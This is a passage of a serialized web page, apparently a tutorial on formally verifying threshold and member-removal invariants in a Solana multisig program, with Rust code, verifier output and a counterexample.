51],{"type":29,"value":1071},{"type":24,"tag":158,"props":25853,"children":25854},{"class":160,"line":238},[25855],{"type":24,"tag":158,"props":25856,"children":25857},{"style":188},[25858],{"type":29,"value":307},{"type":24,"tag":25,"props":25860,"children":25861},{},[25862,25864,25870,25872,25877,25879,25884,25886,25891],{"type":29,"value":25863},"In this case this is actually redundant because if ",{"type":24,"tag":154,"props":25865,"children":25867},{"className":25866},[],[25868],{"type":29,"value":25869},"members.len() == 0",{"type":29,"value":25871}," then our threshold would also have to be ",{"type":24,"tag":154,"props":25873,"children":25875},{"className":25874},[],[25876],{"type":29,"value":5682},{"type":29,"value":25878}," (and our ",{"type":24,"tag":154,"props":25880,"children":25882},{"className":25881},[],[25883],{"type":29,"value":23994},{"type":29,"value":25885}," is not allowed to be ",{"type":24,"tag":154,"props":25887,"children":25889},{"className":25888},[],[25890],{"type":29,"value":5682},{"type":29,"value":25892},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":24,"tag":395,"props":25894,"children":25896},{"id":25895},"_2-verify-threshold-requirements",[25897],{"type":29,"value":25898},"2. Verify threshold requirements",{"type":24,"tag":25,"props":25900,"children":25901},{},[25902],{"type":29,"value":25903},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":24,"tag":25,"props":25905,"children":25906},{},[25907,25909,25913],{"type":29,"value":25908},"Unlike the previous example, we want to verify this in ",{"type":24,"tag":32,"props":25910,"children":25911},{},[25912],{"type":29,"value":55},{"type":29,"value":25914}," cases. I.e. any instruction that could mutate the multisig account.",{"type":24,"tag":25,"props":25916,"children":25917},{},[25918,25920,25924,25926,25931],{"type":29,"value":25919},"In this case, we want to model this as an ",{"type":24,"tag":32,"props":25921,"children":25922},{},[25923],{"type":29,"value":23022},{"type":29,"value":25925}," on the ",{"type":24,"tag":154,"props":25927,"children":25929},{"className":25928},[],[25930],{"type":29,"value":23986},{"type":29,"value":25932}," account struct:",{"type":24,"tag":147,"props":25934,"children":25936},{"code":25935,"language":150,"meta":7,"className":151,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[25937],{"type":24,"tag":154,"props":25938,"children":25939},{"__ignoreMap":7},[25940,25947,25972,25979,26003,26054,26061,26080,26107,26134,26161,26188,26215,26242,26269,26304],{"type":24,"tag":158,"props":25941,"children":25942},{"class":160,"line":161},[25943],{"type":24,"tag":158,"props":25944,"children":25945},{"style":188},[25946],{"type":29,"value":22014},{"type":24,"tag":158,"props":25948,"children":25949},{"class":160,"line":213},[25950,25954,25959,25963,25968],{"type":24,"tag":158,"props":25951,"children":25952},{"style":188},[25953],{"type":29,"value":24082},{"type":24,"tag":158,"props":25955,"children":25956},{"style":171},[25957],{"type":29,"value":25958},"Clone",{"type":24,"tag":158,"props":25960,"children":25961},{"style":188},[25962],{"type":29,"value":191},{"type":24,"tag":158,"props":25964,"children":25965},{"style":171},[25966],{"type":29,"value":25967},"Debug",{"type":24,"tag":158,"props":25969,"children":25970},{"style":188},[25971],{"type":29,"value":21502},{"type":24,"tag":158,"props":25973,"children":25974},{"class":160,"line":238},[25975],{"type":24,"tag":158,"props":25976,"children":25977},{"style":188},[25978],{"type":29,"value":22022},{"type":24,"tag":158,"props":25980,"children":25981},{"class":160,"line":259},[25982,25987,25991,25995,25999],{"type":24,"tag":158,"props":25983,"children":25984},{"style":188},[25985],{"type":29,"value":25986}," (self",{"type":24,"tag":158,"props":25988,"children":25989},{"style":222},[25990],{"type":29,"value":347},{"type":24,"tag":158,"props":25992,"children":25993},{"style":188},[25994],{"type":29,"value":22315},{"type":24,"tag":158,"props":25996,"children":25997},{"style":222},[25998],{"type":29,"value":750},{"type":24,"tag":158,"props":26000,"children":26001},{"style":188},[26002],{"type":29,"value":22324},{"type":24,"tag":158,"props":26004,"children":26005},{"class":160,"line":280},[26006,26010,26014,26018,26022,26026,26030,26034,26038,26042,26046,26050],{"type":24,"tag":158,"props":26007,"children":26008},{"style":222},[26009],{"type":29,"value":16857},{"type":24,"tag":158,"props":26011,"children":26012},{"style":188},[26013],{"type":29,"value":22248},{"type":24,"tag":158,"props":26015,"children":26016},{"style":222},[26017],{"type":29,"value":347},{"type":24,"tag":158,"props":26019,"children":26020},{"style":188},[26021],{"type":29,"value":22315},{"type":24,"tag":158,"props":26023,"children":26024},{"style":165},[26025],{"type":29,"value":2245},{"type":24,"tag":158,"props":26027,"children":26028},{"style":171},[26029],{"type":29,"value":14965},{"type":24,"tag":158,"props":26031,"children":26032},{"style":222},[26033],{"type":29,"value":1989},{"type":24,"tag":158,"props":26035,"children":26036},{"style":188},[26037],{"type":29,"value":15031},{"type":24,"tag":158,"props":26039,"children":26040},{"style":222},[26041],{"type":29,"value":347},{"type":24,"tag":158,"props":26043,"children":26044},{"style":188},[26045],{"type":29,"value":22227},{"type":24,"tag":158,"props":26047,"children":26048},{"style":222},[26049],{"type":29,"value":347},{"type":24,"tag":158,"props":26051,"children":26052},{"style":188},[26053],{"type":29,"value":22376},{"type":24,"tag":158,"props":26055,"children":26056},{"class":160,"line":301},[26057],{"type":24,"tag":158,"props":26058,"children":26059},{"style":188},[26060],{"type":29,"value":21502},{"type":24,"tag":158,"props":26062,"children":26063},{"class":160,"line":626},[26064,26068,26072,26076],{"type":24,"tag":158,"props":26065,"children":26066},{"style":165},[26067],{"type":29,"value":14924},{"type":24,"tag":158,"props":26069,"children":26070},{"style":165},[26071],{"type":29,"value":22395},{"type":24,"tag":158,"props":26073,"children":26074},{"style":171},[26075],{"type":29,"value":22400},{"type":24,"tag":158,"props":26077,"children":26078},{"style":188},[26079],{"type":29,"value":210},{"type":24,"tag":158,"props":26081,"children":26082},{"class":160,"line":668},[26083,26087,26091,26095,26099,26103],{"type":24,"tag":158,"props":26084,"children":26085},{"style":165},[26086],{"type":29,"value":22087},{"type":24,"tag":158,"props":26088,"children":26089},{"style":177},[26090],{"type":29,"value":22416},{"type":24,"tag":158,"props":26092,"children":26093},{"style":222},[26094],{"type":29,"value":225},{"type":24,"tag":158,"props":26096,"children":26097},{"style":171},[26098],{"type":29,"value":22274},{"type":24,"tag":158,"props":26100,"children":26101},{"style":188},[26102],{"type":29,"value":22429},{"type":24,"tag":158,"props":26104,"children":26105},{"style":2588},[26106],{"type":29,"value":22434},{"type":24,"tag":158,"props":26108,"children":26109},{"class":160,"line":676},[26110,26114,26118,26122,26126,26130],{"type":24,"tag":158,"props":26111,"children":26112},{"style":165},[26113],{"type":29,"value":22087},{"type":24,"tag":158,"props":26115,"children":26116},{"style":177},[26117],{"type":29,"value":22446},{"type":24,"tag":158,"props":26119,"children":26120},{"style":222},[26121],{"type":29,"value":225},{"type":24,"tag":158,"props":26123,"children":26124},{"style":171},[26125],{"type":29,"value":22274},{"type":24,"tag":158,"props":26127,"children":26128},{"style":188},[26129],{"type":29,"value":22459},{"type":24,"tag":158,"props":26131,"children":26132},{"style":2588},[26133],{"type":29,"value":22464},{"type":24,"tag":158,"props":26135,"children":26136},{"class":160,"line":684},[26137,26141,26145,26149,26153,26157],{"type":24,"tag":158,"props":26138,"children":26139},{"style":165},[26140],{"type":29,"value":22087},{"type":24,"tag":158,"props":26142,"children":26143},{"style":177},[26144],{"type":29,"value":22476},{"type":24,"tag":158,"props":26146,"children":26147},{"style":222},[26148],{"type":29,"value":225},{"type":24,"tag":158,"props":26150,"children":26151},{"style":171},[26152],{"type":29,"value":18788},{"type":24,"tag":158,"props":26154,"children":26155},{"style":188},[26156],{"type":29,"value":22489},{"type":24,"tag":158,"props":26158,"children":26159},{"style":2588},[26160],{"type":29,"value":22494},{"type":24,"tag":158,"props":26162,"children":26163},{"class":160,"line":700},[26164,26168,26172,26176,26180,26184],{"type":24,"tag":158,"props":26165,"children":26166},{"style":165},[26167],{"type":29,"value":22087},{"type":24,"tag":158,"props":26169,"children":26170},{"style":177},[26171],{"type":29,"value":22506},{"type":24,"tag":158,"props":26173,"children":26174},{"style":222},[26175],{"type":29,"value":225},{"type":24,"tag":158,"props":26177,"children":26178},{"style":171},[26179],{"type":29,"value":18788},{"type":24,"tag":158,"props":26181,"children":26182},{"style":188},[26183],{"type":29,"value":22459},{"type":24,"tag":158,"props":26185,"children":26186},{"style":2588},[26187],{"type":29,"value":22523},{"type":24,"tag":158,"props":26189,"children":26190},{"class":160,"line":785},[26191,26195,26199,26203,26207,26211],{"type":24,"tag":158,"props":26192,"children":26193},{"style":165},[26194],{"type":29,"value":22087},{"type":24,"tag":158,"props":26196,"children":26197},{"style":177},[26198],{"type":29,"value":22535},{"type":24,"tag":158,"props":26200,"children":26201},{"style":222},[26202],{"type":29,"value":225},{"type":24,"tag":158,"props":26204,"children":26205},{"style":171},[26206],{"type":29,"value":15868},{"type":24,"tag":158,"props":26208,"children":26209},{"style":188},[26210],{"type":29,"value":22548},{"type":24,"tag":158,"props":26212,"children":26213},{"style":2588},[26214],{"type":29,"value":22553},{"type":24,"tag":158,"props":26216,"children":26217},{"class":160,"line":1447},[26218,26222,26226,26230,26234,26238],{"type":24,"tag":158,"props":26219,"children":26220},{"style":165},[26221],{"type":29,"value":22087},{"type":24,"tag":158,"props":26223,"children":26224},{"style":177},[26225],{"type":29,"value":22565},{"type":24,"tag":158,"props":26227,"children":26228},{"style":222},[26229],{"type":29,"value":225},{"type":24,"tag":158,"props":26231,"children":26232},{"style":171},[26233],{"type":29,"value":22101},{"type":24,"tag":158,"props":26235,"children":26236},{"style":188},[26237],{"type":29,"value":22578},{"type":24,"tag":158,"props":26239,"children":26240},{"style":2588},[26241],{"type":29,"value":22583},{"type":24,"tag":158,"props":26243,"children":26244},{"class":160,"line":1509},[26245,26249,26253,26257,26261,26265],{"type":24,"tag":158,"props":26246,"children":26247},{"style":165},[26248],{"type":29,"value":22087},{"type":24,"tag":158,"props":26250,"children":26251},{"style":177},[26252],{"type":29,"value":22595},{"type":24,"tag":158,"props":26254,"children":26255},{"style":222},[26256],{"type":29,"value":225},{"type":24,"tag":158,"props":26258,"children":26259},{"style":171},[26260],{"type":29,"value":2928},{"type":24,"tag":158,"props":26262,"children":26263},{"style":188},[26264],{"type":29,"value":191},{"type":24,"tag":158,"props":26266,"children":26267},{"style":2588},[26268],{"type":29,"value":22612},{"type":24,"tag":158,"props":26270,"children":26271},{"class":160,"line":1527},[26272,26276,26280,26284,26288,26292,26296,26300],{"type":24,"tag":158,"props":26273,"children":26274},{"style":165},[26275],{"type":29,"value":22087},{"type":24,"tag":158,"props":26277,"children":26278},{"style":177},[26279],{"type":29,"value":22624},{"type":24,"tag":158,"props":26281,"children":26282},{"style":222},[26283],{"type":29,"value":225},{"type":24,"tag":158,"props":26285,"children":26286},{"style":171},[26287],{"type":29,"value":22633},{"type":24,"tag":158,"props":26289,"children":26290},{"style":188},[26291],{"type":29,"value":3760},{"type":24,"tag":158,"props":26293,"children":26294},{"style":171},[26295],{"type":29,"value":22642},{"type":24,"tag":158,"props":26297,"children":26298},{"style":188},[26299],{"type":29,"value":22647},{"type":24,"tag":158,"props":26301,"children":26302},{"style":2588},[26303],{"type":29,"value":22652},{"type":24,"tag":158,"props":26305,"children":26306},{"class":160,"line":1545},[26307],{"type":24,"tag":158,"props":26308,"children":26309},{"style":188},[26310],{"type":29,"value":307},{"type":24,"tag":25,"props":26312,"children":26313},{},[26314,26316,26321],{"type":29,"value":26315},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":24,"tag":154,"props":26317,"children":26319},{"className":26318},[],[26320],{"type":29,"value":23986},{"type":29,"value":26322}," object will be checked to ensure that the invariant still holds after modification.",{"type":24,"tag":25,"props":26324,"children":26325},{},[26326,26328,26333],{"type":29,"value":26327},"Let's try this on the ",{"type":24,"tag":154,"props":26329,"children":26331},{"className":26330},[],[26332],{"type":29,"value":24065},{"type":29,"value":26334}," instruction that we've already seen:",{"type":24,"tag":147,"props":26336,"children":26338},{"code":26337},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[26339],{"type":24,"tag":154,"props":26340,"children":26341},{"__ignoreMap":7},[26342],{"type":29,"value":26337},{"type":24,"tag":25,"props":26344,"children":26345},{},[26346,26348,26353],{"type":29,"value":26347},"To ensure this is working, we can test by commenting out this check from ",{"type":24,"tag":154,"props":26349,"children":26351},{"className":26350},[],[26352],{"type":29,"value":24065},{"type":29,"value":225},{"type":24,"tag":147,"props":26355,"children":26357},{"code":26356,"language":150,"meta":7,"className":151,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n// return err!(MsError::InvalidThreshold);\n// }\n",[26358],{"type":24,"tag":154,"props":26359,"children":26360},{"__ignoreMap":7},[26361,26369,26377],{"type":24,"tag":158,"props":26362,"children":26363},{"class":160,"line":161},[26364],{"type":24,"tag":158,"props":26365,"children":26366},{"style":2588},[26367],{"type":29,"value":26368},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":24,"tag":158,"props":26370,"children":26371},{"class":160,"line":213},[26372],{"type":24,"tag":158,"props":26373,"children":26374},{"style":2588},[26375],{"type":29,"value":26376},"// return err!(MsError::InvalidThreshold);\n",{"type":24,"tag":158,"props":26378,"children":26379},{"class":160,"line":238},[26380],{"type":24,"tag":158,"props":26381,"children":26382},{"style":2588},[26383],{"type":29,"value":26384},"// }\n",{"type":24,"tag":25,"props":26386,"children":26387},{},[26388],{"type":29,"value":26389},"And run again:",{"type":24,"tag":147,"props":26391,"children":26393},{"code":26392},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[26394],{"type":24,"tag":154,"props":26395,"children":26396},{"__ignoreMap":7},[26397],{"type":29,"value":26392},{"type":24,"tag":25,"props":26399,"children":26400},{},[26401],{"type":29,"value":26402},"We get the following counterexample:",{"type":24,"tag":147,"props":26404,"children":26406},{"code":26405,"language":150,"meta":7,"className":151,"style":7},"Account {\n account: Ms {\n threshold: 32768,\n authority_index: 1,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: SparseVec {\n size: 5112,\n },\n },\n info: AccountInfo { ... },\n}\n",[26407],{"type":24,"tag":154,"props":26408,"children":26409},{"__ignoreMap":7},[26410,26421,26441,26461,26481,26501,26521,26541,26561,26581,26602,26623,26631,26639,26669],{"type":24,"tag":158,"props":26411,"children":26412},{"class":160,"line":161},[26413,26417],{"type":24,"tag":158,"props":26414,"children":26415},{"style":171},[26416],{"type":29,"value":18384},{"type":24,"tag":158,"props":26418,"children":26419},{"style":188},[26420],{"type":29,"value":210},{"type":24,"tag":158,"props":26422,"children":26423},{"class":160,"line":213},[26424,26429,26433,26437],{"type":24,"tag":158,"props":26425,"children":26426},{"style":177},[26427],{"type":29,"value":26428}," account",{"type":24,"tag":158,"props":26430,"children":26431},{"style":222},[26432],{"type":29,"value":225},{"type":24,"tag":158,"props":26434,"children":26435},{"style":171},[26436],{"type":29,"value":22400},{"type":24,"tag":158,"props":26438,"children":26439},{"style":188},[26440],{"type":29,"value":210},{"type":24,"tag":158,"props":26442,"children":26443},{"class":160,"line":238},[26444,26448,26452,26457],{"type":24,"tag":158,"props":26445,"children":26446},{"style":177},[26447],{"type":29,"value":25082},{"type":24,"tag":158,"props":26449,"children":26450},{"style":222},[26451],{"type":29,"value":225},{"type":24,"tag":158,"props":26453,"children":26454},{"style":465},[26455],{"type":29,"value":26456}," 32768",{"type":24,"tag":158,"props":26458,"children":26459},{"style":188},[26460],{"type":29,"value":235},{"type":24,"tag":158,"props":26462,"children":26463},{"class":160,"line":259},[26464,26469,26473,26477],{"type":24,"tag":158,"props":26465,"children":26466},{"style":177},[26467],{"type":29,"value":26468}," authority_index",{"type":24,"tag":158,"props":26470,"children":26471},{"style":222},[26472],{"type":29,"value":225},{"type":24,"tag":158,"props":26474,"children":26475},{"style":465},[26476],{"type":29,"value":1668},{"type":24,"tag":158,"props":26478,"children":26479},{"style":188},[26480],{"type":29,"value":235},{"type":24,"tag":158,"props":26482,"children":26483},{"class":160,"line":280},[26484,26489,26493,26497],{"type":24,"tag":158,"props":26485,"children":26486},{"style":177},[26487],{"type":29,"value":26488}," transaction_index",{"type":24,"tag":158,"props":26490,"children":26491},{"style":222},[26492],{"type":29,"value":225},{"type":24,"tag":158,"props":26494,"children":26495},{"style":465},[26496],{"type":29,"value":2025},{"type":24,"tag":158,"props":26498,"children":26499},{"style":188},[26500],{"type":29,"value":235},{"type":24,"tag":158,"props":26502,"children":26503},{"class":160,"line":301},[26504,26509,26513,26517],{"type":24,"tag":158,"props":26505,"children":26506},{"style":177},[26507],{"type":29,"value":26508}," ms_change_index",{"type":24,"tag":158,"props":26510,"children":26511},{"style":222},[26512],{"type":29,"value":225},{"type":24,"tag":158,"props":26514,"children":26515},{"style":465},[26516],{"type":29,"value":2025},{"type":24,"tag":158,"props":26518,"children":26519},{"style":188},[26520],{"type":29,"value":235},{"type":24,"tag":158,"props":26522,"children":26523},{"class":160,"line":626},[26524,26529,26533,26537],{"type":24,"tag":158,"props":26525,"children":26526},{"style":177},[26527],{"type":29,"value":26528}," bump",{"type":24,"tag":158,"props":26530,"children":26531},{"style":222},[26532],{"type":29,"value":225},{"type":24,"tag":158,"props":26534,"children":26535},{"style":465},[26536],{"type":29,"value":2025},{"type":24,"tag":158,"props":26538,"children":26539},{"style":188},[26540],{"type":29,"value":235},{"type":24,"tag":158,"props":26542,"children":26543},{"class":160,"line":668},[26544,26548,26552,26557],{"type":24,"tag":158,"props":26545,"children":26546},{"style":177},[26547],{"type":29,"value":25095},{"type":24,"tag":158,"props":26549,"children":26550},{"style":222},[26551],{"type":29,"value":225},{"type":24,"tag":158,"props":26553,"children":26554},{"style":222},[26555],{"type":29,"value":26556}," ...",{"type":24,"tag":158,"props":26558,"children":26559},{"style":188},[26560],{"type":29,"value":235},{"type":24,"tag":158,"props":26562,"children":26563},{"class":160,"line":676},[26564,26569,26573,26577],{"type":24,"tag":158,"props":26565,"children":26566},{"style":177},[26567],{"type":29,"value":26568}," allow_external_execute",{"type":24,"tag":158,"props":26570,"children":26571},{"style":222},[26572],{"type":29,"value":225},{"type":24,"tag":158,"props":26574,"children":26575},{"style":165},[26576],{"type":29,"value":859},{"type":24,"tag":158,"props":26578,"children":26579},{"style":188},[26580],{"type":29,"value":235},{"type":24,"tag":158,"props":26582,"children":26583},{"class":160,"line":684},[26584,26589,26593,26598],{"type":24,"tag":158,"props":26585,"children":26586},{"style":177},[26587],{"type":29,"value":26588}," keys",{"type":24,"tag":158,"props":26590,"children":26591},{"style":222},[26592],{"type":29,"value":225},{"type":24,"tag":158,"props":26594,"children":26595},{"style":171},[26596],{"type":29,"value":26597}," SparseVec",{"type":24,"tag":158,"props":26599,"children":26600},{"style":188},[26601],{"type":29,"value":210},{"type":24,"tag":158,"props":26603,"children":26604},{"class":160,"line":700},[26605,26610,26614,26619],{"type":24,"tag":158,"props":26606,"children":26607},{"style":177},[26608],{"type":29,"value":26609}," size",{"type":24,"tag":158,"props":26611,"children":26612},{"style":222},[26613],{"type":29,"value":225},{"type":24,"tag":158,"props":26615,"children":26616},{"style":465},[26617],{"type":29,"value":26618}," 5112",{"type":24,"tag":158,"props":26620,"children":26621},{"style":188},[26622],{"type":29,"value":235},{"type":24,"tag":158,"props":26624,"children":26625},{"class":160,"line":785},[26626],{"type":24,"tag":158,"props":26627,"children":26628},{"style":188},[26629],{"type":29,"value":26630}," },\n",{"type":24,"tag":158,"props":26632,"children":26633},{"class":160,"line":1447},[26634],{"type":24,"tag":158,"props":26635,"children":26636},{"style":188},[26637],{"type":29,"value":26638}," },\n",{"type":24,"tag":158,"props":26640,"children":26641},{"class":160,"line":1509},[26642,26647,26651,26656,26660,26664],{"type":24,"tag":158,"props":26643,"children":26644},{"style":177},[26645],{"type":29,"value":26646}," info",{"type":24,"tag":158,"props":26648,"children":26649},{"style":222},[26650],{"type":29,"value":225},{"type":24,"tag":158,"props":26652,"children":26653},{"style":171},[26654],{"type":29,"value":26655}," AccountInfo",{"type":24,"tag":158,"props":26657,"children":26658},{"style":188},[26659],{"type":29,"value":372},{"type":24,"tag":158,"props":26661,"children":26662},{"style":222},[26663],{"type":29,"value":377},{"type":24,"tag":158,"props":26665,"children":26666},{"style":188},[26667],{"type":29,"value":26668}," },\n",{"type":24,"tag":158,"props":26670,"children":26671},{"class":160,"line":1527},[26672],{"type":24,"tag":158,"props":26673,"children":26674},{"style":188},[26675],{"type":29,"value":307},{"type":24,"tag":25,"props":26677,"children":26678},{},[26679,26681,26686,26688,26693],{"type":29,"value":26680},"Here we see that the ",{"type":24,"tag":154,"props":26682,"children":26684},{"className":26683},[],[26685],{"type":29,"value":23994},{"type":29,"value":26687}," of the newly created ",{"type":24,"tag":154,"props":26689,"children":26691},{"className":26690},[],[26692],{"type":29,"value":23986},{"type":29,"value":26694}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":24,"tag":395,"props":26696,"children":26698},{"id":26697},"verify-requirements-to-remove-a-member",[26699],{"type":29,"value":24024},{"type":24,"tag":25,"props":26701,"children":26702},{},[26703,26705,26710,26711,26716,26718,26724],{"type":29,"value":26704},"Now that we've seen both ",{"type":24,"tag":154,"props":26706,"children":26708},{"className":26707},[],[26709],{"type":29,"value":21398},{"type":29,"value":1826},{"type":24,"tag":154,"props":26712,"children":26714},{"className":26713},[],[26715],{"type":29,"value":23022},{"type":29,"value":26717}," let's take a look at the ",{"type":24,"tag":154,"props":26719,"children":26721},{"className":26720},[],[26722],{"type":29,"value":26723},"remove_member",{"type":29,"value":26725}," function:",{"type":24,"tag":147,"props":26727,"children":26729},{"code":26728,"language":150,"meta":7,"className":151,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n #[account(mut)]\n multisig: Box\u003CAccount\u003C'info, Ms>>,\n #[account(\n mut,\n seeds = [\n b\"squad\",\n multisig.create_key.as_ref(),\n b\"multisig\"\n ], bump = multisig.bump\n )]\n pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n // if there is only one key in this multisig, reject the removal\n if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n }\n ctx.accounts.multisig.remove_member(old_member)?;\n\n // if the number of keys is now less than the threshold, adjust it\n if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n ctx.accounts.multisig.change_threshold(new_threshold)?;\n }\n let new_index = ctx.accounts.multisig.transaction_index;\n ctx.accounts.multisig.set_change_index(new_index)\n}\n",[26730],{"type":24,"tag":154,"props":26731,"children":26732},{"__ignoreMap":7},[26733,26756,26784,26799,26844,26851,26863,26879,26891,26917,26925,26954,26961,26993,27000,27007,27081,27089,27149,27181,27188,27239,27246,27254,27347,27436,27490,27497,27542,27587],{"type":24,"tag":158,"props":26734,"children":26735},{"class":160,"line":161},[26736,26740,26744,26748,26752],{"type":24,"tag":158,"props":26737,"children":26738},{"style":188},[26739],{"type":29,"value":24082},{"type":24,"tag":158,"props":26741,"children":26742},{"style":171},[26743],{"type":29,"value":24087},{"type":24,"tag":158,"props":26745,"children":26746},{"style":188},[26747],{"type":29,"value":191},{"type":24,"tag":158,"props":26749,"children":26750},{"style":171},[26751],{"type":29,"value":25967},{"type":24,"tag":158,"props":26753,"children":26754},{"style":188},[26755],{"type":29,"value":21502},{"type":24,"tag":158,"props":26757,"children":26758},{"class":160,"line":213},[26759,26763,26767,26772,26776,26780],{"type":24,"tag":158,"props":26760,"children":26761},{"style":165},[26762],{"type":29,"value":14924},{"type":24,"tag":158,"props":26764,"children":26765},{"style":165},[26766],{"type":29,"value":22395},{"type":24,"tag":158,"props":26768,"children":26769},{"style":171},[26770],{"type":29,"value":26771}," MsAuth",{"type":24,"tag":158,"props":26773,"children":26774},{"style":188},[26775],{"type":29,"value":24167},{"type":24,"tag":158,"props":26777,"children":26778},{"style":171},[26779],{"type":29,"value":24172},{"type":24,"tag":158,"props":26781,"children":26782},{"style":188},[26783],{"type":29,"value":8922},{"type":24,"tag":158,"props":26785,"children":26786},{"class":160,"line":238},[26787,26791,26795],{"type":24,"tag":158,"props":26788,"children":26789},{"style":188},[26790],{"type":29,"value":24374},{"type":24,"tag":158,"props":26792,"children":26793},{"style":165},[26794],{"type":29,"value":2169},{"type":24,"tag":158,"props":26796,"children":26797},{"style":188},[26798],{"type":29,"value":21502},{"type":24,"tag":158,"props":26800,"children":26801},{"class":160,"line":259},[26802,26807,26811,26816,26820,26824,26828,26832,26836,26840],{"type":24,"tag":158,"props":26803,"children":26804},{"style":177},[26805],{"type":29,"value":26806}," multisig",{"type":24,"tag":158,"props":26808,"children":26809},{"style":222},[26810],{"type":29,"value":225},{"type":24,"tag":158,"props":26812,"children":26813},{"style":171},[26814],{"type":29,"value":26815}," Box",{"type":24,"tag":158,"props":26817,"children":26818},{"style":188},[26819],{"type":29,"value":3760},{"type":24,"tag":158,"props":26821,"children":26822},{"style":171},[26823],{"type":29,"value":18384},{"type":24,"tag":158,"props":26825,"children":26826},{"style":188},[26827],{"type":29,"value":24167},{"type":24,"tag":158,"props":26829,"children":26830},{"style":171},[26831],{"type":29,"value":24172},{"type":24,"tag":158,"props":26833,"children":26834},{"style":188},[26835],{"type":29,"value":191},{"type":24,"tag":158,"props":26837,"children":26838},{"style":171},[26839],{"type":29,"value":23986},{"type":24,"tag":158,"props":26841,"children":26842},{"style":188},[26843],{"type":29,"value":8595},{"type":24,"tag":158,"props":26845,"children":26846},{"class":160,"line":280},[26847],{"type":24,"tag":158,"props":26848,"children":26849},{"style":188},[26850],{"type":29,"value":24184},{"type":24,"tag":158,"props":26852,"children":26853},{"class":160,"line":301},[26854,26859],{"type":24,"tag":158,"props":26855,"children":26856},{"style":165},[26857],{"type":29,"value":26858}," mut",{"type":24,"tag":158,"props":26860,"children":26861},{"style":188},[26862],{"type":29,"value":235},{"type":24,"tag":158,"props":26864,"children":26865},{"class":160,"line":626},[26866,26870,26874],{"type":24,"tag":158,"props":26867,"children":26868},{"style":188},[26869],{"type":29,"value":24268},{"type":24,"tag":158,"props":26871,"children":26872},{"style":222},[26873],{"type":29,"value":1285},{"type":24,"tag":158,"props":26875,"children":26876},{"style":188},[26877],{"type":29,"value":26878}," [\n",{"type":24,"tag":158,"props":26880,"children":26881},{"class":160,"line":668},[26882,26887],{"type":24,"tag":158,"props":26883,"children":26884},{"style":1108},[26885],{"type":29,"value":26886}," b\"squad\"",{"type":24,"tag":158,"props":26888,"children":26889},{"style":188},[26890],{"type":29,"value":235},{"type":24,"tag":158,"props":26892,"children":26893},{"class":160,"line":676},[26894,26899,26903,26908,26912],{"type":24,"tag":158,"props":26895,"children":26896},{"style":188},[26897],{"type":29,"value":26898}," multisig",{"type":24,"tag":158,"props":26900,"children":26901},{"style":222},[26902],{"type":29,"value":347},{"type":24,"tag":158,"props":26904,"children":26905},{"style":188},[26906],{"type":29,"value":26907},"create_key",{"type":24,"tag":158,"props":26909,"children":26910},{"style":222},[26911],{"type":29,"value":347},{"type":24,"tag":158,"props":26913,"children":26914},{"style":188},[26915],{"type":29,"value":26916},"as_ref(),\n",{"type":24,"tag":158,"props":26918,"children":26919},{"class":160,"line":684},[26920],{"type":24,"tag":158,"props":26921,"children":26922},{"style":1108},[26923],{"type":29,"value":26924}," b\"multisig\"\n",{"type":24,"tag":158,"props":26926,"children":26927},{"class":160,"line":700},[26928,26933,26938,26942,26946,26950],{"type":24,"tag":158,"props":26929,"children":26930},{"style":188},[26931],{"type":29,"value":26932}," ], ",{"type":24,"tag":158,"props":26934,"children":26935},{"style":177},[26936],{"type":29,"value":26937},"bump",{"type":24,"tag":158,"props":26939,"children":26940},{"style":222},[26941],{"type":29,"value":462},{"type":24,"tag":158,"props":26943,"children":26944},{"style":177},[26945],{"type":29,"value":24330},{"type":24,"tag":158,"props":26947,"children":26948},{"style":222},[26949],{"type":29,"value":347},{"type":24,"tag":158,"props":26951,"children":26952},{"style":188},[26953],{"type":29,"value":24310},{"type":24,"tag":158,"props":26955,"children":26956},{"class":160,"line":785},[26957],{"type":24,"tag":158,"props":26958,"children":26959},{"style":188},[26960],{"type":29,"value":24318},{"type":24,"tag":158,"props":26962,"children":26963},{"class":160,"line":1447},[26964,26968,26973,26977,26981,26985,26989],{"type":24,"tag":158,"props":26965,"children":26966},{"style":165},[26967],{"type":29,"value":22087},{"type":24,"tag":158,"props":26969,"children":26970},{"style":177},[26971],{"type":29,"value":26972}," 